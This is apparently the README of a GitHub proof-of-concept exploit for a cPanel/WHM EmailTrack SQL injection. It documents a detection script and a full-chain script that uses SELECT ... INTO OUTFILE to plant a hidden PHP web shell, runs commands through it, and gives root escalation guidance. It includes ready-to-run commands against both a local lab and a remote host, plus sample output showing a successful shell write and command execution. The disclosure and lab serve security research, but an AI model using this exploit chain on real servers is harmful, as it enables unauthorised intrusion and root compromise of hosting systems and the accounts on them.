imbas007/cve-2026-67401Proof-of-concept for CVE-2026-67401, a cPanel/WHM EmailTrack SQL injection enabling arbitrary file write and root RCE, with SQLi detection probes and a self-contained vulnerable lab.
Proof-of-concept for CVE-2026-67401, a critical SQL injection vulnerability in cPanel & WHM's EmailTrack functionality that allows an authenticated user with mail-related privileges to write arbitrary files and execute code as root.
Discovered by: Ali Mustafa Disclosed: September 8, 2026 Component: EmailTrack (email delivery logging / tracking)
Versions below the fixed builds are vulnerable.
| cPanel Build Series | Fixed Version |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Check your version with:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account parameter.SELECT ... INTO OUTFILE into public_html/.| File | Description |
|---|---|
poc_sqli.py | SQL injection detection: boolean-based, time-based, and UNION column count |
poc_full_chain.py | Full exploit chain: SQLi → INTO OUTFILE web shell → RCE → root guidance |
lab/vuln_server.py | Local simulation of the vulnerable EmailTrack backend (safe, self-contained) |
README.md | This document |
The bundled lab lets you run and validate the entire chain without a real cPanel server.
All commands are run from the repository root.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE, and PHP web-shell execution.18123)lab/htdocs)Leave this running in one terminal and use a second terminal for the PoCs.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Argument | Description |
|---|---|
-H, --host | cPanel host, e.g. https://cp.example.com:2083 |
-u, --username | cPanel account with mail privileges |
-p, --password | Account password |
--param | Injectable parameter (default: account) |
--mode | detect (default), boolean, timing, union, or all |
--sleep | SLEEP() duration for the timing probe (default: 3.0) |
--dump-version | Attempt to extract the DBMS version via UNION |
--insecure | Skip TLS certificate verification |
Run a specific probe:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Argument / Env | Description |
|---|---|
host (positional) | cPanel host, or set env CPANEL_HOST |
CPANEL_USER | cPanel account with mail privileges |
CPANEL_PASS | Account password |
--shell-base | Base URL that serves public_html (where the web shell is reached) |
--insecure | Skip TLS certificate verification |
--no-escalate | Stop after RCE; skip root escalation guidance |
SHELL_NAME (env) | Web shell filename (default: .mail.cache.php) |
Stages executed automatically:
SELECT ... INTO OUTFILEid, whoami, SUID enumeration, …)whmapi1, cron, task queue)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Note: the default
--shell-basestrips the cPanel-only port (2082/2083) from the host. If the document root is served on a different port, set it explicitly.
Output produced against the bundled lab:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Released for educational and authorized security-research purposes. See Disclaimer before use.